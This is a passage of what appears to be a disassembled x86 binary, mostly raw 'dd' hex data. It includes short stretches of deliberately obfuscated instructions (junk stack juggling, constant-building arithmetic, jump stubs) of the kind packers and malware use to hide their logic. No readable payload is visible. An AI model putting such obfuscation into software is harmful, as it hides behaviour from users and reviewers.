3488109Dh, 79C64716h, 0F5F41F4Eh, 22436A87h, 0E6F65085h dd 5EBF109Dh, 0D80ECE96h, 7B6A341h, 8C000000h, 1D2C4h dd 0E0C26A00h, 4BBA0250h, 109DB4D0h, 2C8BFBE6h, 0BC9A240Bh dd 6A2E6872h, 84FF2362h, 0F5181685h, 0A84F9D6h, 0D30A8580h dd 0A2D2AB2h, 5DF9A725h, 0DF8AA10h, 2CEED57Fh, 3C1EA6CDh dd 1E04A3A9h, 0E76DFC89h, 7563756h, 3A203E86h, 0B794A5A7h dd 0CC46B798h, 950A8544h, 44850170h, 0CF4E0A85h, 10B0B905h dd 81A90657h, 8724457Bh, 7654FB56h, 0C41C410h, 79F6559Bh dd 13D8F5B4h, 4A000006h, 567C5AFCh, 466C4A04h, 587A58F2h dd 47694907h, 497C5AFAh, 1C3885E6h, 64C9CBEh, 1B2D82A8h dd 84495BBh, 4FBEA1AAh, 16B6D4D3h, 0BDD9859Ch, 6D51E06Ch dd 19E170DCh, 0D5681AAFh, 3DFB5777h, 0DFA341EAh, 0C1118D00h dd 0BBDA109Dh, 7EA31h, 0C4500000h, 0FBh, 0B517706Ah, 342D109Dh dd 0E9491F8Ch, 3B5A5A74h, 6C03B39Ch, 2A76D005h, 0DE3F109Eh dd 1C8DDF9h, 4F6B9AB7h, 5816856Bh, 1FB49635h, 90B29F29h dd 89AF0F3Dh, 0E7451438h, 3278402h, 9569EB6h, 766279D4h dd 8EC34210h, 79F66327h, 67607D2Ch, 0F6000005h, 0EAD0EE68h dd 0F2D8F658h, 0ECCEEC5Eh, 0F3D5F55Bh, 0DDD0EE66h, 0A8AC3952h dd 0BA98280Ah, 0A7A1361Ch, 0BC902107h, 0DB0A551Eh, 16B6D67Fh dd 0BD6DD148h, 57B3226Ch, 20109DB5h, 89CD9CFDh, 3D451438h dd 398C36D3h, 5917B313h, 3BA341EAh, 0B988C817h, 10099058h dd 2D000000h, 0B6D9DDC2h, 5CDA823Fh, 414994h, 0C2E50000h dd 6FFE4CE0h, 21B4A62Eh, 3AAB8C2Bh, 109DB4E0h, 92C79EA9h dd 0AC5BC3Dh, 0C002616Bh, 0DD8EDF6Dh, 0DB6E2495h, 51301AAEh dd 4EFC5072h, 8569EFFh, 0C0DD0027h, 3DC1A52Fh, 2CA8B3h dd 0BD060000h, 7251E06Ch, 0A43024Dh, 32A6395Ah, 80EBD6E3h dd 0BF4E96F7h, 109DC55Eh, 0CE3F203Fh, 109DC554h, 96F0F81Dh dd 70DC6D25h, 6CBDF852h, 50DFC3E0h, 8D03100h, 4587A59h dd 27427E46h, 0B4F26CA1h, 5ABB109Dh, 97BB9C3Bh, 0DA3B0A4Ah dd 0A37F7312h, 15781684h, 94B699B6h, 0FF5B0A40h, 300A849Eh dd 0AC36AAE6h, 0E4293613h, 0E567FADCh, 0F94FE4C6h, 0B19F2968h dd 4EB5AB94h, 329CF667h, 20650A84h, 53EF837Bh, 56F64789h dd 0C0A907h, 0F20950F7h, 1AB9D8AAh, 6B8864EBh, 0EF1E4110h dd 46B8573h, 8BFAD93Ch, 46B850Fh, 0F7D4B5D8h, 0F062F2D8h dd 80D17BCEh, 4495B701h, 3588AA08h, 0FFEA4617h, 49CCBBC1h dd 0F9981732h, 0CB6EABDAh, 56B70A5Bh, 0DBE37C23h, 0E3FEAD73h dd 3E2h, 4767EF7Bh, 5D7DD161h, 4161E97Bh, 2280D05Fh, 3A3B100h dd 5FEE1F10h, 65F3D5F5h, 58EBCDEDh, 5DF0D2F0h, 0DD02CFEFh dd 0B6D72EA8h, 0C0A2F716h, 1670E5C2h, 4A109DB5h, 0BF0857F9h dd 0ACDCC328h, 717B1AC8h, 607ECE5Fh, 0D465E77Ah, 5CED5FF2h dd 0F39F1CB6h, 70CCEA62h, 0A34172A0h, 2D08h, 0BEA32E00h dd 0A77AEBC8h, 60168EFBh, 27BC9E3Dh, 0F6528121h, 2E0A8A65h dd 2F11B19Bh, 280FAC9Ch, 0C0D4BD34h, 17D61E20h, 3553Ah dd 0BEA39800h, 537AEBC8h, 24168EAFh, 9B78D203h, 0DC410A8Ah dd 27365714h, 0ABBA9223h, 7741BA38h, 46B71472h, 107B94FFh dd 0C09D3D60h, 3504469Ah, 0B9B00CD4h, 8184DE0Fh, 0C84D0477h dd 81207AEBh, 0A4E90477h, 4E77E6C5h, 1F0A687Bh, 6751CD40h dd 0FB1AFE64h, 401174F1h, 53E2AFFEh, 0F49D283Bh, 4223F1A3h dd 0B3F8CCF3h, 0B0AD320h, 86AC0B6Ah, 4A045633h, 6AFB9AFBh dd 0E42A12Bh, 9AC067E4h, 81BD0749h, 4CC11E68h, 4553105h dd 0A1872766h, 0B89F3C10h, 4A6422A4h, 0A1408818h, 62400C9Dh dd 6C4B3B26h, 41ABBCF9h, 71C045FEh, 3DA68200h, 1CADD9F2h dd 0DE1420F0h, 4CE0C242h, 29AFF6FEh, 93000000h, 0EBC8BEA3h dd 0D3FF39C4h, 5E66B664h, 7E0D0C81h, 0BFDE168Fh, 6DFF5FAEh dd 0BC560A8Bh, 535F1D3Fh, 0A4075AACh, 5B000000h, 51E06CBDh dd 5774E06Dh, 4356D170h, 747C215Ah, 0BCF1D6F5h, 58774CA6h dd 0EA7B5D67h, 5EEFD362h, 269DD0EEh, 8E109DF9h, 53FD4E3Bh dd 1BAE9432h, 0DD042031h, 96F751E6h, 0C959C439h, 8302168Eh dd 88FEE323h, 3040BA2Bh, 0C4491075h, 0DE76C3E7h, 0C98BDA00h dd 0F935F194h, 825F0E79h, 20Ah, 6F4F0753h, 7555F949h, 69490153h dd 7A58F847h, 6B4B0958h, 4796F738h, 3D8BAD0Dh, 4093B515h dd 3588AA08h, 0A5AAB717h, 0B6D8D630h, 0D88A9F16h, 0C6E470BDh dd 0DCFB51E4h, 0B5108AFBh, 0B4D9109Dh, 0A3942E2Ch, 0CCEBC8BEh dd 6754ADE3h, 622B3DE9h, 69CBAE8Eh, 0F0446607h, 12F3925Ah dd 0E3168EBBh, 0E46293A2h, 200A8AAAh, 4E70C18Fh, 0FD0554FEh dd 0F94CF693h, 5FAB3253h, 1CF2C2EAh, 0E15A5AADh, 7D000000h dd 7E460255h, 226CBDE4h, 9DB557B3h, 0DEFD2010h, 9DB533AFh dd 0F899FC10h, 7CD86569h, 0B1279CEDh, 3E8F109Dh, 0AB8FB00Eh dd 0E223321Ah, 0E765F8DAh, 770F5A56h, 80B82558h, 0EED1168Eh dd 8A7F237Fh, 2A9EC0Ah, 0EAD5BA37h, 83E0E87Eh, 7D64A402h dd 5E3BAA09h, 27107474h, 4FE1C9E6h, 0A12B6AFBh, 153F8EB4h dd 2C3691B6h, 0BE9114E6h, 23072836h, 0EE1FBC94h, 4748574h dd 0BE10D83Dh, 0BC8E226Fh, 9E07A8DDh, 591079F8h, 0F97Ch dd 80D66400h, 0A0AE0022h, 0BE8C2002h, 0A7A93A20h, 0C0942107h dd 0F7CB3E2h, 0E3492C2h, 143694BEh, 72989BFh, 2B3896B6h dd 0DA55B124h, 0B1E16B6h, 0E470BD57h, 0FB51E4C6h, 814AF3DCh dd 1CF4F8C6h, 8126D2B8h, 6B753261h, 0FE6F506Dh, 109E5EA4h dd 36A0286Dh, 1B9EDDC2h, 0FDDE1766h, 389FD533h, 15DF75F7h dd 0E91C72C3h, 109DD06Dh, 0A7B6D736h, 0E47712A3h, 0D5B4D564h dd 10B0B9F5h, 2F4734D5h, 0D9F69793h, 851C1BA4h, 0CC9D0016h dd 0B515378Ah, 0F5474293h, 0B0973455h, 41BEF84Eh, 94539D6Bh dd 0E4B68E65h, 68E27653h, 0E965F5D9h, 17C27358h, 50E0763Eh dd 0FF693FFh, 0C1C033Ch, 0CEDBF407h, 0C686D7FBh, 4BF794FEh dd 4D7552FAh, 57854FFBh, 1AA9E071h, 0C9065736h, 514DBBDEh dd 6244DC8Eh, 5F717BCDh, 9BB180D0h, 972AD871h dd 0A23315B5h, 3BE9BAAh, 24000000h, 71BDE17Bh, 0DF7254E5h dd 65FADC6Dh, 0E07052E3h, 52DFE372h, 0C20F3302h, 307FC392h dd 9B2D1120h, 2ABC9EAFh, 51221524h, 0C181E189h, 4, 4E981h dd 0C870000h, 0C895C24h, 0E0895024h, 405h, 4E88300h, 5C240487h dd 56243C89h, 0C681E689h, 4, 4EE81h, 34870000h, 1C895C24h dd 0B8505524h, 5E4C699Fh, 0D158C589h, 0A8F581EDh, 81421E54h dd 9114C9C5h, 4E5C11Bh, 8106EDC1h, 2B4A6AF5h, 5DEF8904h dd 241C8B54h, 4C481h, 45680000h, 89000057h, 2C81243Ch dd 4A5DF924h, 8438F45h, 0F9084381h, 8B454A5Dh, 8951241Ch dd 4C181E1h, 83000000h, 0C8704C1h, 34FF5C24h, 0C4815F24h dd 4, 0FA59F3E9h, 2884E3FFh, 0EC796D27h, 286C5D56h, 26C5B87Fh dd 0C5030619h, 1703E0FFh, 62254Fh, 322D15EBh, 4DED41CBh dd 886816ACh, 0A0D136AEh, 0F033B7Eh, 0E88A099Eh, 29BE4004h dd 388B257Ch, 679D5AB0h, 17E749E2h, 0D05E0E8Eh, 68FB0FE5h dd 43093210h, 0DA6E4977h, 2CEF6181h, 62C424D9h, 1A1F5B87h dd 0BC8A4D0Bh, 25B2403Ah, 0F18E5h, 0C8CE4BC6h, 9B787C30h dd 0DF7E0160h, 1F22E8Ah, 0AC632941h, 48635E7h, 8D8D66B0h dd 61928ADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 0DBC35747h, 8D8933BAh, 6131BBDh, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 18h, 28C35040h, 67B21201h dd 18DD85C7h, 61B80613h, 81660000h, 0C7F290F6h, 13305585h dd 6, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0FFB2481h, 0B5FFD7B7h, 6131139h dd 0FFF3BF0Fh, 131D8995h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 0F38B6606h dd 95FF006Ah, 6130DA9h, 6EEBC08Bh, 4C9FDFB9h, 203155BEh dd 337FC039h, 969A592Eh, 0FD15C4Ah, 0E297BAF7h, 0ADA083C8h dd 0EBCBB5E5h, 0BDF8562h, 371CD89Fh, 0D181B70Bh, 67E84A7Ah dd 0A836AB2h, 9A01E0EFh, 6820FA6Eh, 0DEC7E4Ah, 2648D83Bh dd 773F93FCh, 63F9BB9Dh, 0DDB4EC57h, 0A0668F43h, 8080E576h dd 0AB84B4D5h, 0FE7DB4CCh, 0A1232AF3h, 0C0FFC0B9h, 0BB5A8405h dd 6E931ACh, 90000000h, 189B7Bh, 57CE900h, 61ED0000h, 63F3D5F5h dd 53E5CBEBh, 62F1D7F7h, 5BEAD0EEh, 45EAD9F9h, 1BBB9928h dd 0BABA735h, 18B69225h, 0DAD9F32h, 70EA1B44h, 3916B6DEh dd 6CBD7EE0h, 72C38F1Dh, 6A557213h, 0DC8F3C81h, 7FEEF6B2h dd 68460E5Bh, 7E5DEF42h, 0F243095Ch, 0F26A0D5h, 0AEEF109Eh dd 0F45CEBCFh, 8597DECh, 81D1F544h, 2DC9EECDh, 4372EBA4h dd 5A0D5C64h, 5EEFA318h, 55EAD0EEh, 5AEDD3F3h, 0ED7B5FEEh dd 0CDDC36A7h, 9DA5109Dh, 3E5F3E0Ah, 42B7392Fh, 0AD0D3B90h dd 43123A8Bh, 67A11B04h, 45AF956Bh, 0E58D0C7Bh, 8C06109Dh dd 0D36248EFh, 0D19F3781h, 79A341DBh, 4Ah, 0E06CBDDDh dd 0CE4D7251h, 0A4A83956h, 884F7495h, 0B7A4232h, 109DD28Dh dd 0C9F38802h, 0A341F40Bh, 1B3h, 6DBD8700h, 0DC6E50E1h dd 50DFE372h, 2E7FA300h, 6CE4F1Eh, 0D7EF467h, 69490555h dd 77D1664Ch, 72DA6B6Dh, 70BDF654h, 547655E4h, 9AFB4A00h dd 0A0AE0052h, 321EAD91h, 0BF8F1F23h, 9425ADAEh, 3ACF39A1h dd 3612A58Dh, 0FCDEE627h, 0DFC8E76Dh, 3D92657Eh, 3917A12Ah dd 0ADA7361Ch, 0E6A03123h, 1D931A6Dh, 0FFDCBDB5h, 8D31ADE0h dd 9BFA109Eh, 1CB09251h, 0A93B1F2Eh, 1CAE90A1h, 0C0E22332h dd 82CA1B6Ch, 147E52E3h, 0CB478E77h, 305E0E2Eh, 1A40A341h dd 0E53C84C6h, 7Ah, 0E470BD79h, 6BDF7155h, 7AD4664Ch, 0C322AAEBh dd 0B969E210h, 0A48B282Ch, 0BFB86260h, 9FBD07CDh, 0F26CA1BEh dd 0BB109E73h, 0F140925Ah, 5FF0D263h, 80F5D2F1h, 109E7406h dd 153D8BCFh, 1CA4C544h, 0D16AA4CDh, 4157FDABh, 5B65A3h dd 0BDF90000h, 7155E470h, 0F7DB6ADEh, 7658E969h, 5DB6AE4h dd 0A407EE8Bh, 0AD295C7Bh, 0E1109DB4h, 2C6DFC50h, 9CF6FE1Fh dd 6EE6731Fh, 6DBDF250h, 4F7350E1h, 4FED87FDh, 0FB80E32Fh dd 824ACB9Ah, 9DC48203h, 0FA8FFB10h, 41FA02D2h, 92C3E4A3h dd 109DD138h, 0CD549C01h, 1, 99DDC271h, 1DB27F16h, 45E8F2Ch dd 0CD109DE4h, 0FA4E8048h, 6CBD0150h, 0E06D51E0h, 0E45530AEh dd 0F2933B33h, 95F16463h, 5E109E96h, 64E9B3Fh, 0DD6EA437h dd 219AD4E8h, 0AA245976h, 73109E96h, 3488CA12h, 0B897B816h dd 9E96C945h, 69739210h, 5572144Dh, 8F933120h, 92A3E216h dd 0DD6C1DB0h, 0C6A7E677h, 0DD6FC2E8h, 909FFD8Ch, 88D70A8Bh dd 65579C8h, 2A68FB4Ah, 0DC03A491h, 5CED67F6h, 90940E7Fh dd 385D0A8Bh, 84F58F59h, 0F2D17BCEh, 0AD280D0h, 0F953E6CCh dd 0B6D36668h, 9EF86D25h, 670A8B90h, 17264726h, 0BA68E16Fh dd 2D852527h, 5AAC366Fh, 148D7h, 0BEA36B00h, 377AEBC8h dd 0D0168EBCh, 0F8DFFC4Dh, 0EF6CB9ACh, 0C315DFB6h, 0DBFCDA72h dd 0ECE414F4h, 0AD37F5A7h, 0DF6F1AABh, 0DEBFDE6Fh, 52FA4B8Fh dd 0A7235275h, 700A8A1Fh, 1337892Dh, 6AF9C342h, 0DD9526A4h dd 85A2004Ch, 7C44109Dh, 0AD8114E4h, 66BC5Ah, 0C2A20000h dd 0B51670E5h, 0F84A109Dh, 3C840956h, 3C9BE700h, 624C2DC9h dd 5E81A66Fh, 0E919AE4Bh, 5FBE2BB5h, 1D237F0Eh, 6B25909Eh dd 0B40129CEh, 0BECFDDAh, 3253B683h, 0DEDAE223h, 80A20181h dd 0BC992331h, 6265AD49h, 0B30426EFh, 0BC87CC9Dh, 26576095h dd 29C60E6Fh, 52E3C7E4h, 0CBAAAA37h, 8EF4D301h, 5A000000h dd 0EBC8BEA3h, 8EA18F7Ah, 73C2E816h, 0B8AD7E1h, 0A7351D3Ah dd 9E2F21ABh, 0B2F10AEh, 0C4E96BEh, 26A0D5B9h, 0EF0A8AA1h dd 0CAF0CFAEh, 786D779h, 7CDF2EBDh, 0BD0A8AA1h, 5BEEA415h dd 5BF0D2F1h, 0B9F5E3EDh, 84F9D6B0h, 10718929h, 7D228DB2h dd 5FEE5AEDh, 5445993Eh, 3E409ACBh, 84090471h, 96B584E5h dd 0A42C22B4h, 1C2D1FB2h, 96A7A93Ah, 1F2E24B4h, 40F28709h dd 0B0D160EEh, 0F891FBD1h, 6E4D3930h, 5826C2FFh, 0ECCA4B0Ah dd 5DDC24Eh, 0C00A0B26h, 0E10834BCh, 912406A5h, 84A5AABBh dd 909A7C44h, 0B29F2948h, 84D9E643h, 1F2E6F16h, 87C91A40h dd 82CA1B3Dh, 0DEABFE24h, 0D362034Dh, 6F59BA2h, 81FA7808h dd 0EECC80D1h, 600D79CCh, 6AF7A87Bh, 0ABAFBEDFh, 6CE0711Ch dd 8089AE0Dh, 1A3283ABh, 466588B5h, 0C4F9EF7Eh, 601872E3h dd 0BCE1EC02h, 0B161DA34h, 0B18E2C20h, 60035F8Eh, 49CCEC02h dd 8DFC4D7Fh, 0C041103Ch, 11B590A1h, 19000000h, 351E0C2h dd 61ECD332h, 2339AB4Fh, 31EB1FA9h, 54E571BDh, 0DC6DDF72h dd 52E365FAh, 0E372E070h, 330252DFh, 0C392C20Fh, 1120307Fh dd 9EAF9B2Dh, 15242ABCh db 22h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 sub ebp, esi pop esi xchg ebp, [esp] pop esp push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], ebp push 76E3h mov [esp], eax push 3774h mov [esp], esi mov esi, 24D83F87h dec esi sub esi, 1EBF1656h mov ebp, esi pop esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push edx mov edx, 8 add edx, 3B153A9h add edx, eax sub edx, 3B153A9h mov [edx], ebp pop edx mov eax, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_58442C ; --------------------------------------------------------------------------- dd 8AC2A5C0h, 0BB8B5E7h, 306192Eh, 47E0FFC5h, 3F35320Ch dd 1B580291h, 5126F98Dh, 821961FBh, 171D1D0Eh, 6D573468h dd 6909C573h, 563D509h, 0A37476D1h, 982C808Bh, 84353DAh dd 4F3F9809h, 0E86EBC1Eh, 10h, 0F1483958h, 87037CF7h, 0FFE8327Bh dd 43D59978h, 0BE665AF8h, 0C2812D62h, 6185h, 0E8FF2BF5h dd 5, 0DA761F0h, 6820FD4h, 81000000h, 11A7E3D6h, 34FF5B60h dd 0D9816617h, 8058A246h, 0E881C6EBh, 2CEB0208h, 6938C081h dd 0C08113B0h, 7697F011h, 50C88B66h, 8FCE8B66h, 6E83A04h dd 0AB000000h, 0F855FFBBh, 81BB66E1h, 8B0F5EF7h, 6, 5B91DB81h dd 0EF837F41h, 10E804h, 0F7C50000h, 255CDEF0h, 0B67E54B4h dd 0B1790802h, 5EF9F8CDh, 9F40FF81h, 850FFFFFh, 0Dh, 24E9h dd 7E0AF000h, 32062AACh, 0B5BB6685h, 0FF80E9B1h, 0DC5FFFFFh dd 0F333B286h, 9FD838C9h, 6AF5828Fh, 0AC61272Ch, 18CE9B7h dd 57010000h, 2C276F21h, 98D31AD5h, 0D1D746B1h, 41EFB4CAh dd 52E45B7Eh, 0FB6D5D97h, 9244FCA3h, 92A59EB9h, 0E495BCD7h dd 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h dd 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh, 0D4C45657h dd 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh, 6CA1915Ch dd 0ACE5h, 1, 42h dup(0) dd 97000000h, 33A26D84h, 0EE69F0h, 3 dup(0) dd 47E90000h, 68000010h, 619335Eh, 0FB1633E9h, 346A68FFh dd 29E90619h, 68FFFB16h, 61935EFh, 0FB161FE9h, 36B868FFh dd 15E90619h, 68FFFB16h, 61937E4h, 0FB160BE9h, 38AF68FFh dd 1E90619h, 68FFFB16h, 6193982h, 0FB15F7E9h, 39FD68FFh dd 0EDE90619h, 68FFFB15h, 6193AD8h, 0FB15E3E9h, 3B5D68FFh dd 0D9E90619h, 68FFFB15h, 6193C3Dh, 0FB15CFE9h, 3CD968FFh dd 0C5E90619h, 68FFFB15h, 6193D86h, 0FB15BBE9h, 3ECF68FFh dd 0B1E90619h, 68FFFB15h, 6193FF8h, 0FB15A7E9h, 2F805AFFh dd 0E3CC2151h, 347795FDh, 0E7C8264Eh, 376889F9h, 6BE15549h dd 0BBA71986h, 41318F1Ch, 0F39F01AAh, 922C9615h, 0D9EA5EEEh dd 0E5E2428Dh, 4A617798h, 0A1FD96CEh, 0EF1E8DD9h, 44E0040Eh dd 40DA4DBEh, 44678113h, 6D6ABA5Eh, 208B6143h, 0A51DC104h dd 94F7B325h, 91578944h, 51DC6687h, 0E9D265E5h, 76A83EA1h dd 0E1D93F3Dh, 1AB7BD79h, 0D0F5189Fh, 0B1F78439h, 326D9400h dd 915A0081h, 212A106Fh, 0CB7902B1h, 504848h, 0FBFD0000h dd 118E5FE3h, 35D5D82Bh, 44940FC3h, 0B74187B9h, 9581ACB6h dd 0A15A0EF5h, 9CAFC3Eh, 79520D73h, 89EC0BBDh, 456E3C6Fh dd 7FF3B84Fh, 490416Eh, 0B220C3E8h, 321887A9h, 1ABD5529h dd 0DE2C835Bh, 0B743D535h, 48CB4A08h, 0EB4Eh, 61770700h dd 0D6FB894Ah, 5C7C08C9h, 6EB6A24Fh, 24F7B32Fh, 0B4E0FACFh dd 0E0CB2154h, 0AEC4B82Ah, 0EE44944Dh, 4BF662EAh, 84C64494h dd 0F1BA1E76h, 0A605E38Fh, 7DA8B26Dh, 7D1EF199h, 0CAFC3EA1h dd 46CE164Eh, 55EA6B08h, 0F6905DC3h, 2FD7BB3Bh, 0BD7951C5h dd 0EA0171B3h, 0E75F37C1h, 0C74DFBE4h, 6EDA7266h, 6EB74CF8h dd 19F12289h, 41C15789h, 547D2EC9h, 4CC43476h, 6088FAA5h dd 68E01DF0h, 0B74CF8FCh, 0A3509ACCh, 3D2ABB67h, 7E153E96h dd 0E6B9187Ch, 1A650E5h, 1F9A8571h, 0D7Ch, 87A35D5h, 542E815Ch dd 1DFCC20h, 50327D91h, 0E2BD24h, 13BE5ED0h, 896E168Ch dd 37D4C022h, 82660E74h, 6125B729h, 8DDB7FE9h, 35604D42h dd 5B455A77h, 5EDAD127h, 0E866D27Ah, 14564494h, 346C9C06h dd 0BCD3D4BFh, 75607A43h, 56F17FBh, 0F34494E8h, 0A60111B1h dd 0B9D38DCBh, 13344E1Fh, 641226BEh, 9E9A5059h, 0A193372Eh dd 1ED3153Eh, 79E936AEh, 3E0B33BDh, 0CBF13FCEh, 5DEDE948h dd 0BD79E5EBh, 199269E1h, 0D6C749CFh, 0BF000000h, 0C3F0BF4Fh dd 0FBE2F107h, 0C38BADE3h, 7B7D2B19h, 29EAC117h, 0A869369Bh dd 0CED130A0h, 7CAAC04Ch, 82664494h, 2DCBB729h, 7CC83CCCh dd 7EC04494h, 0CE58874Ch, 7853F363h, 0F23EA14Ah, 0C430CAB2h dd 5F79E81Fh, 6175E123h, 79447FE9h, 0FD1B4DBDh, 0F5304AA3h dd 0EA778901h, 4385C74Dh, 0F9C3BD3h, 941BF2E2h, 0DB5DAB5Fh dd 0F1AE53BBh, 0A1FEE38Fh, 11C7728h, 0E6E3CC71h, 0C70h dd 3CA609E1h, 88FAB548h, 35AB00DCh, 0A4FEB14Dh, 348E11F0h dd 0EF128A7Ch, 45A2D2B0h, 0F3087C66h, 3E9ACAB8h, 0D5B9136Dh dd 8DDCC335h, 81CCB942h, 314AE3FBh, 0BB436F26h, 94DED94Bh dd 3B6DAF44h, 138C759Dh, 8823C5ADh, 0C3E80090h, 0CC3CBC0Eh dd 4494DE58h, 0B6ECEE30h, 4A61770Fh, 0CEDDFB89h, 9B14EA6Ah dd 2BE8C717h, 2FD749CFh, 3D35CBEFh, 0F407496Dh, 6E7F1B7h dd 0C545B17Ch, 3EA1D10Ah, 2AE15C84h, 9C717A1h, 79161781h dd 65A3E5BDh, 0C4ED2FD3h, 791650C8h, 0E4ED4DBDh, 0CB0E4574h dd 640948h, 0D2BA0000h, 0D179DD48h, 3EA1F566h, 0EBE11254h dd 0BD780375h, 2D01CA70h, 337A129h, 8D05BD78h, 708A406Bh dd 0CA07FD0Ch, 38A148h, 0FB720000h, 690A07E3h, 4CCE5334h dd 2A0E1923h, 0A18343A2h, 527FC13Eh, 79B7C23Ah, 9939DFBDh dd 50AA6738h, 0B7F460E8h, 82C4BD79h, 6DDDE678h, 48CBAF5Eh dd 704h, 3D6CD100h, 45000008h, 4AA748D2h, 32DFCC1Fh, 29E112D8h dd 38CF77DFh, 0BA3EABD9h, 0EE87306Ah, 0D761F3ABh, 95FDF92Bh dd 1A4A3873h, 8909EDBEh, 41793A75h, 0FB859AB7h, 1840C830h dd 0E8C74DD7h, 0EF086180h, 5C3F7BCh, 3CBCEECCh, 0AD4134D4h dd 0AADAC802h, 7BB45D4Eh, 80F494E1h, 78B7580Fh, 0F4948446h dd 0CD6D2FC1h, 54E41F37h, 3660E204h, 3AF774h, 7CA76AE3h dd 0AEBFDh, 2B846600h, 7F30CDB5h, 109B7121h, 832CC2B2h dd 138C751Dh, 8F0D01ADh, 1F532D72h, 95FDE3C8h, 174B3576h dd 0E6F8EAC1h, 0DD3EAA22h, 210E428Dh, 0E9096FF4h, 0D8624494h dd 0E9EDE94Dh, 6B17F761h, 7437D5BBh, 0E02CAEF0h, 0C1542759h dd 328BF527h, 7119FD28h, 0C74D1752h, 2AAA8ED0h, 1303DDCEh dd 771D87FFh, 77FB759h, 0B759779Dh, 0F729396Bh, 5457B1E1h dd 89F6909Fh, 59779701h, 0E52365B7h, 6A0BE171h, 24CD1B94h dd 504454E6h, 4E8328C0h, 0C6049B46h, 5E98D834h, 6698CD66h dd 258662F2h, 7A31C7BBh, 87DF4339h, 0A142920h, 5E7371Fh dd 96C113E7h, 9333E3F5h, 5315C838h, 3CDFEC1Eh, 0A9E4CA37h dd 0A220B7Eh, 0DB2F0000h, 6786EED4h, 0D22A5A48h, 637BE7D9h dd 0C32E564Ch, 44BAE6DCh, 0C7629C8h, 0B62C7F58h, 247E2DCEh dd 0AD139870h, 65CF771Fh, 53428DDEh, 48D22F56h, 905EA8F7h dd 4E8C573Eh, 8CB894EFh, 141ACA00h, 897BEAE0h, 87D73F89h dd 963240A6h, 3C5CDEEAh, 0AB6775CCh, 3D9B133Eh, 4D6E8D88h dd 0D1173133h, 6AA00BE1h, 298266EEh, 37A1292Dh, 5BD73E5h dd 77EB35C3h, 56894A61h, 55F561CCh, 0C74CD5CAh, 4CB85044h dd 3CB75935h, 5294F00Ah, 218A6EE6h, 7635D3BFh, 8D98A23Dh dd 8FFA79A9h, 6EA3F042h, 6FE7218Ah, 59656DD7h, 0F295BB7h dd 4D097F07h, 0C5F7CD66h, 8427C151h, 815AFA1Eh, 711E92Ah dd 0E9086D8Bh, 0BBDFDB6h, 39D242C6h, 0B5DC48C0h, 7AACA920h dd 0FA62AA30h, 35A920B5h, 7018002Bh, 0D31F9DE5h, 0ED65D113h dd 18876A0Bh, 6DE91FDBh, 6DA609E5h, 1AE5758Dh, 0E31B8B2Fh dd 4197CB55h, 0EC76A96Ah, 9635D541h, 94D93098h, 0F48EA152h dd 664DBD39h, 0B8DF23EAh, 4EECBF18h, 26F774B6h, 0BB589814h dd 8F6F990h, 7F5B0000h, 0CB225230h, 7696FEE4h, 0C7174B35h dd 678AFAE8h, 0E0564A38h, 0A81A856Ch, 32901BBCh, 0A002A942h dd 299714F4h, 0E95BEB93h, 0DF428DDFh, 61779BE2h, 0DDFB894Ah dd 0EAA825CEh, 3C6F89E1h, 0F0F70646h, 79BB126h, 68000000h dd 4D66Ch, 0E3FB4500h, 0AC995A7h, 81A23885h, 95B3EBBFh dd 0D361FBE4h, 11F057DFh, 6C9EFD14h, 7687A1CEh, 62D6148Bh dd 0A13C93EAh, 4F2F713Eh, 0AD17AFA3h, 9BBD795Dh, 16D4DB33h dd 0C6E8804h, 7B05E877h, 41C048B0h, 3F18400Bh, 0CC44D4FDh dd 74797F2Ch, 0BDF359EAh, 0BA4B0889h, 4B8008F0h, 491E5120h dd 0A04128C9h, 0D32FC9FFh, 0CB2DA591h, 769202E0h, 0C6733435h dd 1F0897E0h, 82BAAh, 0EBC42600h, 3F708DF5h, 0D0DB3161h dd 436C82F2h, 0D3CC355Dh, 0CF4DC1EDh, 5F136D32h, 0D5BD2388h dd 570B7536h, 26B82A81h, 0D07EEA62h, 614E428Dh, 64617734h dd 66E7B18Bh, 228962A6h, 19CF19F1h, 0DD3070D8h, 611AD72h dd 0CE335F79h, 44DEEFD1h, 985259B3h, 80AF28A0h, 81993EABh dd 0F30B0A21h, 6D3E9D74h, 0D4448644h, 737DC034h, 4486B8BDh dd 9F588CD4h, 3DDA4EBEh, 70B2BD73h, 0B4BE8454h, 3E667226h dd 0D627B59Fh, 292A85Ch, 4551C5E6h, 730453C5h, 0CBF729BDh dd 825A4D06h, 0CA58E253h, 446D3E9Ah, 0A29691ABh, 4C47972Ah dd 332365C7h, 146E3D9Bh, 33238860h, 0CF69369Bh, 0FEEF1282h dd 5A861A8Eh, 0FAB0F2B7h, 0F784A871h, 4F6A5570h, 758h dd 0F4CEE1F9h, 60426D80h, 0EDD3D834h, 5C466985h, 0ECD6C928h dd 27CA42B4h, 7D5A0A78h, 0CB20542Eh, 769202E0h, 8D714B35h dd 8DD18BFDh, 39848142h, 79DD48D2h, 9619F55Dh, 1897675Dh dd 4FE91FDBh, 0ABD860BBh, 0D22AAA3Eh, 0AF644BA3h, 0F78B8D5Bh dd 27C151C5h, 92761E84h, 91391D19h, 0BD723827h, 0C45D315h dd 7ADE49D3h, 472A8FD2h, 2E3B6DC7h, 70FCD555h, 0DD80F922h dd 74000006h, 0BBA71996h, 3F338D22h, 0F0A4FEADh, 432F911Eh dd 2F9F019Eh, 6B349D3Fh, 0C1EA0D75h, 5358B3DFh, 0C8E3056Dh dd 8CFC04DAh, 428DD118h, 77CAF3F0h, 0FB894A61h, 0A825CEDDh dd 0DCCF2CA4h, 7BD3A03Eh, 0E8744E5Dh, 